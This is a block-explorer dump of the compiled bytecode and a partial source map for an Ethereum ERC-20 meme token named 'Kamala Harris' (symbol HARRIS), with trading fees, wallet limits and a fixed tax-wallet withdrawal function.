7610ecb6064610d2e600954600b5411610ec157600554610d27565b600754859061140a565b90505b305f90815260016020526040902054600e54600160a81b900460ff16158015610f045750600e546001600160a01b038581169116145b8015610f195750600e54600160b01b900460ff165b8015610f3d5750610f2c6009600a611969565b610f3a9063068e7780611977565b81115b8015610f4c5750600a54600b54115b15610f9257610f80610f7b84610f7684610f686009600a611969565b610f769063055d4a80611977565b6114d0565b61116b565b478015610f9057610f9047611314565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610fd157506001600160a01b0383165f9081526003602052604090205460ff165b8015610fe657506001600160a01b0384163014155b8015610ffb57506001600160a01b0383163014155b156110055743600f555b6001600160a01b0384165f9081526003602052604090205460ff1615801561104557506001600160a01b0383165f9081526003602052604090205460ff16155b1561112157600e546001600160a01b0390811690841603611097576001600160a01b0384165f908152601060205260409020600f5481546110869190611a53565b600282015542600190910155611121565b6001600160a01b038084165f908152601060205260409020600e5490918681169116036110ed5780545f036110e857600b54600a5410156110da5743815561111f565b6110e5600143611a53565b81555b61111f565b6001600160a01b0385165f90815260106020526040902081541580611113575081548154105b1561111d57805482555b505b505b61112d848484846114e4565b50505050565b5f81848411156111565760405162461bcd60e51b81526004016104f4919061175b565b505f6111628486611a53565b95945050505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111b1576111b1611a66565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611221573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061124591906119c3565b8160018151811061125857611258611a66565b60200260200101906001600160a01b031690816001600160a01b03168152505061129730737a250d5630b4cf539739df2c5dacb4c659f2488d84610a18565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112d69085905f90869030904290600401611a7a565b5f604051808303815f87803b1580156112ed575f80fd5b505af11580156112ff573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083905f818181858888f193505050501580156104c7573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054611389908261150e565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546113b7908261154f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2f9085815260200190565b5f825f0361141957505f6103a3565b5f6114248385611977565b9050826114318583611aeb565b146114885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f4565b9392505050565b5f61148883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ad565b5f8183116114de5782611488565b50919050565b5f6114f08584846115d9565b9050611507858583611502878761150e565b6116aa565b5050505050565b5f61148883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611133565b5f8061155b8385611a28565b9050838110156114885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f4565b5f81836115cd5760405162461bcd60e51b81526004016104f4919061175b565b505f6111628486611aeb565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03160361162657600754611621908561140a565b611628565b835b905082156116a257305f90815260016020526040902054611649908461154f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116999087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116cc908361150e565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116fa908261154f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061174d9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117875785810183015185820160400152820161176b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a15575f80fd5b5f80604083850312156117cc575f80fd5b82356117d7816117a7565b946020939093013593505050565b5f805f606084860312156117f7575f80fd5b8335611802816117a7565b92506020840135611812816117a7565b929592945050506040919091013590565b5f60208284031215611833575f80fd5b8135611488816117a7565b5f806040838503121561184f575f80fd5b823561185a816117a7565b9150602083013561186a816117a7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118c357815f19048211156118a9576118a9611875565b808516156118b657918102915b93841c939080029061188e565b509250929050565b5f826118d9575060016103a3565b816118e557505f6103a3565b81600181146118fb576002811461190557611921565b60019150506103a3565b60ff84111561191657611916611875565b50506001821b6103a3565b5060208310610133831016604e8410600b8410161715611944575081810a6103a3565b61194e8383611889565b805f190482111561196157611961611875565b029392505050565b5f61148860ff8416836118cb565b80820281158282048414176103a3576103a3611875565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119d3575f80fd5b8151611488816117a7565b5f805f606084860312156119f0575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a19575f80fd5b81518015158114611488575f80fd5b808201808211156103a3576103a3611875565b5f60018201611a4c57611a4c611875565b5060010190565b818103818111156103a3576103a3611875565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611aca5784516001600160a01b031683529383019391830191600101611aa5565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b0557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c6561c4ace7fac775bc721f93c7df83b9f49844fe463c93f799f6c544d54bec164736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102f4578063bf474bed14610313578063c9567bf914610327578063ce31a06b1461033b578063dd62ed3e1461034f575f80fd5b8063751039fc146102625780637d1db4a5146102765780638da5cb5b1461028b5780638f9a55c0146102b157806395d89b41146102c6575f80fd5b806323b872dd116100e357806323b872dd146101ca578063313ce567146101e957806351bc3c851461020457806370a082311461021a578063715018a61461024e575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c4b616d616c612048617272697360981b60208201525b60405161015c919061175b565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046117bb565b610393565b604051901515815260200161015c565b34801561019f575f80fd5b506101a86103a9565b60405190815260200161015c565b3480156101c1575f80fd5b506101a86103c6565b3480156101d5575f80fd5b506101846101e43660046117e5565b6103e7565b3480156101f4575f80fd5b506040516009815260200161015c565b34801561020f575f80fd5b5061021861044e565b005b348015610225575f80fd5b506101a8610234366004611823565b6001600160a01b03165f9081526001602052604090205490565b348015610259575f80fd5b506102186104cb565b34801561026d575f80fd5b50610218610545565b348015610281575f80fd5b506101a8600c5481565b348015610296575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102bc575f80fd5b506101a8600d5481565b3480156102d1575f80fd5b5060408051808201909152600681526548415252495360d01b602082015261014f565b3480156102ff575f80fd5b5061018461030e3660046117bb565b6105f9565b34801561031e575f80fd5b506101a8610605565b348015610332575f80fd5b5061021861061f565b348015610346575f80fd5b506102186109d7565b34801561035a575f80fd5b506101a861036936600461183e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a18565b5060015b92915050565b6103b56009600a611969565b6103c39063055d4a80611977565b81565b5f6103d36009600a611969565b6103e2906402540be400611977565b905090565b5f6103f3848484610b3c565b610444843361043f85604051806060016040528060288152602001611b0b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611133565b610a18565b5060019392505050565b337f000000000000000000000000d8a9e7b6c8a9354ccfb05bcd6e90f4f492a5b8ce6001600160a01b031614610482575f80fd5b305f9081526001602052604090205480158015906104a95750600e54600160b01b900460ff165b156104b7576104b78161116b565b4780156104c7576104c781611314565b5050565b5f546001600160a01b031633146104fd5760405162461bcd60e51b81526004016104f49061198e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461056e5760405162461bcd60e51b81526004016104f49061198e565b61057a6009600a611969565b610589906402540be400611977565b600c556105986009600a611969565b6105a7906402540be400611977565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d76009600a611969565b6105e6906402540be400611977565b60405190815260200160405180910390a1565b5f61039f338484610b3c565b6106116009600a611969565b6103c39063068e7780611977565b5f546001600160a01b031633146106485760405162461bcd60e51b81526004016104f49061198e565b600e54600160a01b900460ff16156106a25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f4565b6106d630737a250d5630b4cf539739df2c5dacb4c659f2488d6106c76009600a611969565b61043f906402540be400611977565b600e805460ff60a01b1916600160a01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa158015610737573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075b91906119c3565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107de91906119c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610828573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084c91906119c3565b600e80546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108ad5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610913573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061093891906119de565b5050600e5460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af115801561099d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c19190611a09565b50600e805460ff60b01b1916600160b01b179055565b337f000000000000000000000000d8a9e7b6c8a9354ccfb05bcd6e90f4f492a5b8ce6001600160a01b031614610a0b575f80fd5b47610a1581611314565b50565b6001600160a01b038316610a7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f4565b6001600160a01b038216610adb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ba05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f4565b6001600160a01b038216610c025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f4565b5f8111610c635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f4565b600e54600160a81b900460ff1680610c855750600e54600160a01b900460ff16155b15610c9a57610c95838383611367565b505050565b5f80546001600160a01b03858116911614801590610cc557505f546001600160a01b03848116911614155b8015610d0357507f000000000000000000000000d8a9e7b6c8a9354ccfb05bcd6e90f4f492a5b8ce6001600160a01b0316836001600160a01b031614155b15610f9457610d346064610d2e600854600b5411610d2357600454610d27565b6006545b859061140a565b9061148f565b600e549091506001600160a01b038581169116148015610d7157506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610d9557506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7b57600c54821115610dec5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f4565b600d5482610e0e856001600160a01b03165f9081526001602052604090205490565b610e189190611a28565b1115610e665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f4565b600b8054905f610e7583611a3b565b91905055505b600e546001600160a01b038481169116148015610ea157506001600160a01b0384163014155b15610ece57610ecb6064610d2e600954600b5411610ec157600554610d27565b600754859061140a565b90505b305f90815260016020526040902054600e54600160a81b900460ff16158015610f045750600e546001600160a01b038581169116145b8015610f195750600e54600160b01b900460ff165b8015610f3d5750610f2c6009600a611969565b610f3a9063068e7780611977565b81115b8015610f4c5750600a54600b54115b15610f9257610f80610f7b84610f7684610f686009600a611969565b610f769063055d4a80611977565b6114d0565b61116b565b478015610f9057610f9047611314565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610fd157506001600160a01b0383165f9081526003602052604090205460ff165b8015610fe657506001600160a01b0384163014155b8015610ffb57506001600160a01b0383163014155b156110055743600f555b6001600160a01b0384165f9081526003602052604090205460ff1615801561104557506001600160a01b0383165f9081526003602052604090205460ff16155b1561112157600e546001600160a01b0390811690841603611097576001600160a01b0384165f908152601060205260409020600f5481546110869190611a53565b600282015542600190910155611121565b6001600160a01b038084165f908152601060205260409020600e5490918681169116036110ed5780545f036110e857600b54600a5410156110da5743815561111f565b6110e5600143611a53565b81555b61111f565b6001600160a01b0385165f90815260106020526040902081541580611113575081548154105b1561111d57805482555b505b505b61112d848484846114e4565b50505050565b5f81848411156111565760405162461bcd60e51b81526004016104f4919061175b565b505f6111628486611a53565b95945050505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111b1576111b1611a66565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611221573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061124591906119c3565b8160018151811061125857611258611a66565b60200260200101906001600160a01b031690816001600160a01b03168152505061129730737a250d5630b4cf539739df2c5dacb4c659f2488d84610a18565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112d69085905f90869030904290600401611a7a565b5f604051808303815f87803b1580156112ed575f80fd5b505af11580156112ff573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6040516001600160a01b037f000000000000000000000000d8a9e7b6c8a9354ccfb05bcd6e90f4f492a5b8ce169082156108fc029083905f818181858888f193505050501580156104c7573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054611389908261150e565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546113b7908261154f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2f9085815260200190565b5f825f0361141957505f6103a3565b5f6114248385611977565b9050826114318583611aeb565b146114885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f4565b9392505050565b5f61148883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ad565b5f8183116114de5782611488565b50919050565b5f6114f08584846115d9565b9050611507858583611502878761150e565b6116aa565b5050505050565b5f61148883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611133565b5f8061155b8385611a28565b9050838110156114885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f4565b5f81836115cd5760405162461bcd60e51b81526004016104f4919061175b565b505f6111628486611aeb565b5f807f000000000000000000000000d8a9e7b6c8a9354ccfb05bcd6e90f4f492a5b8ce6001600160a01b0316856001600160a01b03160361162657600754611621908561140a565b611628565b835b905082156116a257305f90815260016020526040902054611649908461154f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116999087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116cc908361150e565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116fa908261154f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061174d9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117875785810183015185820160400152820161176b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a15575f80fd5b5f80604083850312156117cc575f80fd5b82356117d7816117a7565b946020939093013593505050565b5f805f606084860312156117f7575f80fd5b8335611802816117a7565b92506020840135611812816117a7565b929592945050506040919091013590565b5f60208284031215611833575f80fd5b8135611488816117a7565b5f806040838503121561184f575f80fd5b823561185a816117a7565b9150602083013561186a816117a7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118c357815f19048211156118a9576118a9611875565b808516156118b657918102915b93841c939080029061188e565b509250929050565b5f826118d9575060016103a3565b816118e557505f6103a3565b81600181146118fb576002811461190557611921565b60019150506103a3565b60ff84111561191657611916611875565b50506001821b6103a3565b5060208310610133831016604e8410600b8410161715611944575081810a6103a3565b61194e8383611889565b805f190482111561196157611961611875565b029392505050565b5f61148860ff8416836118cb565b80820281158282048414176103a3576103a3611875565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119d3575f80fd5b8151611488816117a7565b5f805f606084860312156119f0575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a19575f80fd5b81518015158114611488575f80fd5b808201808211156103a3576103a3611875565b5f60018201611a4c57611a4c611875565b5060010190565b818103818111156103a3576103a3611875565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611aca5784516001600160a01b031683529383019391830191600101611aa5565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b0557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c6561c4ace7fac775bc721f93c7df83b9f49844fe463c93f799f6c544d54bec164736f6c63430008160033

Deployed Bytecode Sourcemap

4753:10284:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6754:83;;;;;;;;;;-1:-1:-1;6824:5:0;;;;;;;;;;;;-1:-1:-1;;;6824:5:0;;;;6754:83;;;;;;;:::i;:::-;;;;;;;;7587:186;;;;;;;;;;-1:-1:-1;7587:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7587:186:0;1023:187:1;5816:61:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5816:61:0;1215:177:1;7031:95:0;;;;;;;;;;;;;:::i;7781:363::-;;;;;;;;;;-1:-1:-1;7781:363:0;;;;;:::i;:::-;;:::i;6940:83::-;;;;;;;;;;-1:-1:-1;6940:83:0;;5421:1;2000:36:1;;1988:2;1973:18;6940:83:0;1858:184:1;14495:345:0;;;;;;;;;;;;;:::i;:::-;;7134:119;;;;;;;;;;-1:-1:-1;7134:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7227:18:0;7200:7;7227:18;;;:9;:18;;;;;;;7134:119;3828:148;;;;;;;;;;;;;:::i;13603:161::-;;;;;;;;;;;;;:::i;5615:55::-;;;;;;;;;;;;;;;;3614:79;;;;;;;;;;-1:-1:-1;3652:7:0;3679:6;3614:79;;-1:-1:-1;;;;;3679:6:0;;;2445:51:1;;2433:2;2418:18;3614:79:0;2299:203:1;5677:57:0;;;;;;;;;;;;;;;;6845:87;;;;;;;;;;-1:-1:-1;6917:7:0;;;;;;;;;;;;-1:-1:-1;;;6917:7:0;;;;6845:87;;7261:167;;;;;;;;;;-1:-1:-1;7261:167:0;;;;;:::i;:::-;;:::i;5741:68::-;;;;;;;;;;;;;:::i;13872:578::-;;;;;;;;;;;;;:::i;14848:186::-;;;;;;;;;;;;;:::i;7436:143::-;;;;;;;;;;-1:-1:-1;7436:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7544:18:0;;;7517:7;7544:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7436:143;7587:186;7687:4;7704:39;1268:10;7727:7;7736:6;7704:8;:39::i;:::-;-1:-1:-1;7761:4:0;7587:186;;;;;:::o;5816:61::-;5864:13;5421:1;5864:2;:13;:::i;:::-;5853:24;;:8;:24;:::i;:::-;5816:61;:::o;7031:95::-;7084:7;5478:13;5421:1;5478:2;:13;:::i;:::-;5464:27;;:11;:27;:::i;:::-;7104:14;;7031:95;:::o;7781:363::-;7879:4;7896:36;7906:6;7914:9;7925:6;7896:9;:36::i;:::-;7943:171;7966:6;1268:10;8014:89;8052:6;8014:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8014:19:0;;;;;;:11;:19;;;;;;;;1268:10;8014:33;;;;;;;;;;:37;:89::i;:::-;7943:8;:171::i;:::-;-1:-1:-1;8132:4:0;7781:363;;;;;:::o;14495:345::-;1268:10;14559;-1:-1:-1;;;;;14545:24:0;;14537:33;;;;;;14620:4;14581:20;7227:18;;;:9;:18;;;;;;14640:16;;;;;:31;;-1:-1:-1;14660:11:0;;-1:-1:-1;;;14660:11:0;;;;14640:31;14637:70;;;14674:30;14691:12;14674:16;:30::i;:::-;14736:21;14771:12;;14768:65;;14797:24;14810:10;14797:12;:24::i;:::-;14526:314;;14495:345::o;3828:148::-;3741:6;;-1:-1:-1;;;;;3741:6:0;1268:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;;;;;;;;;3935:1:::1;3919:6:::0;;3898:40:::1;::::0;-1:-1:-1;;;;;3919:6:0;;::::1;::::0;3898:40:::1;::::0;3935:1;;3898:40:::1;3966:1;3949:19:::0;;-1:-1:-1;;;;;;3949:19:0::1;::::0;;3828:148::o;13603:161::-;3741:6;;-1:-1:-1;;;;;3741:6:0;1268:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;5478:13:::1;5421:1;5478:2;:13;:::i;:::-;5464:27;::::0;:11:::1;:27;:::i;:::-;13657:12;:22:::0;5478:13:::1;5421:1;5478:2;:13;:::i;:::-;5464:27;::::0;:11:::1;:27;:::i;:::-;13690:14;:23:::0;13729:27:::1;5478:13;5421:1;5478:2;:13;:::i;:::-;5464:27;::::0;:11:::1;:27;:::i;:::-;13729;::::0;1361:25:1;;;1349:2;1334:18;13729:27:0::1;;;;;;;13603:161::o:0;7261:167::-;7339:4;7356:42;1268:10;7380:9;7391:6;7356:9;:42::i;5741:68::-;5796:13;5421:1;5796:2;:13;:::i;:::-;5784:25;;:9;:25;:::i;13872:578::-;3741:6;;-1:-1:-1;;;;;3741:6:0;1268:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;13936:11:::1;::::0;-1:-1:-1;;;13936:11:0;::::1;;;13935:12;13927:47;;;::::0;-1:-1:-1;;;13927:47:0;;5145:2:1;13927:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;13927:47:0::1;4943:347:1::0;13927:47:0::1;13985:57;14002:4;5963:42;5478:13;5421:1;5478:2;:13;:::i;:::-;5464:27;::::0;:11:::1;:27;:::i;13985:57::-;14053:11;:18:::0;;-1:-1:-1;;;;14053:18:0::1;-1:-1:-1::0;;;14053:18:0::1;::::0;;14116:25:::1;::::0;;-1:-1:-1;;;14116:25:0;;;;5963:42:::1;::::0;14116:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;5963:42;14116:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14098:55:0::1;;14162:4;5963:42;-1:-1:-1::0;;;;;14168:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14098:93;::::0;-1:-1:-1;;;;;;14098:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;14098:93:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;14098:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14082:13;:109:::0;;-1:-1:-1;;;;;;14082:109:0::1;-1:-1:-1::0;;;;;14082:109:0;;;::::1;::::0;;;::::1;::::0;;14272:4:::1;-1:-1:-1::0;7227:18:0;;;-1:-1:-1;7227:18:0;;;;;;5963:42:::1;::::0;14202:31:::1;::::0;14241:21:::1;::::0;14272:4;14303:1:::1;14305::::0;14307:7:::1;3652::::0;3679:6;-1:-1:-1;;;;;3679:6:0;;3614:79;14307:7:::1;14202:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14202:129:0;;;-1:-1:-1;;;;;6219:15:1;;;14202:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;14315:15:0::1;6433:19:1::0;;;6426:35;6135:19;;14202:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14349:13:0::1;::::0;14342:71:::1;::::0;-1:-1:-1;;;14342:71:0;;5963:42:::1;14342:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;-1:-1:-1;;;;;14349:13:0;;::::1;::::0;-1:-1:-1;14342:29:0::1;::::0;6930:18:1;;14342:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14424:11:0::1;:18:::0;;-1:-1:-1;;;;14424:18:0::1;-1:-1:-1::0;;;14424:18:0::1;::::0;;13872:578::o;14848:186::-;1268:10;14911;-1:-1:-1;;;;;14897:24:0;;14889:33;;;;;;14962:21;14994:32;14962:21;14994:12;:32::i;:::-;14878:156;14848:186::o;8411:369::-;-1:-1:-1;;;;;8538:19:0;;8530:68;;;;-1:-1:-1;;;8530:68:0;;7546:2:1;8530:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;8530:68:0;7344:400:1;8530:68:0;-1:-1:-1;;;;;8617:21:0;;8609:68;;;;-1:-1:-1;;;8609:68:0;;7951:2:1;8609:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;8609:68:0;7749:398:1;8609:68:0;-1:-1:-1;;;;;8688:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8740:32;;1361:25:1;;;8740:32:0;;1334:18:1;8740:32:0;;;;;;;;8411:369;;;:::o;8788:3186::-;-1:-1:-1;;;;;8881:18:0;;8873:68;;;;-1:-1:-1;;;8873:68:0;;8354:2:1;8873:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;8873:68:0;8152:401:1;8873:68:0;-1:-1:-1;;;;;8960:16:0;;8952:64;;;;-1:-1:-1;;;8952:64:0;;8760:2:1;8952:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;8952:64:0;8558:399:1;8952:64:0;9063:1;9049:11;:15;9027:106;;;;-1:-1:-1;;;9027:106:0;;9164:2:1;9027:106:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;9027:106:0;8962:405:1;9027:106:0;9150:6;;-1:-1:-1;;;9150:6:0;;;;;:22;;-1:-1:-1;9161:11:0;;-1:-1:-1;;;9161:11:0;;;;9160:12;9150:22;9146:113;;;9189:37;9204:4;9210:2;9214:11;9189:14;:37::i;:::-;8788:3186;;;:::o;9146:113::-;9271:17;3679:6;;-1:-1:-1;;;;;9305:15:0;;;3679:6;;9305:15;;;;:32;;-1:-1:-1;3652:7:0;3679:6;-1:-1:-1;;;;;9324:13:0;;;3679:6;;9324:13;;9305:32;:52;;;;;9347:10;-1:-1:-1;;;;;9341:16:0;:2;-1:-1:-1;;;;;9341:16:0;;;9305:52;9301:1364;;;9386:105;9487:3;9386:96;9433:15;;9421:9;;:27;9420:61;;9467:14;;9420:61;;;9452:12;;9420:61;9386:11;;:33;:96::i;:::-;:100;;:105::i;:::-;9520:13;;9374:117;;-1:-1:-1;;;;;;9512:21:0;;;9520:1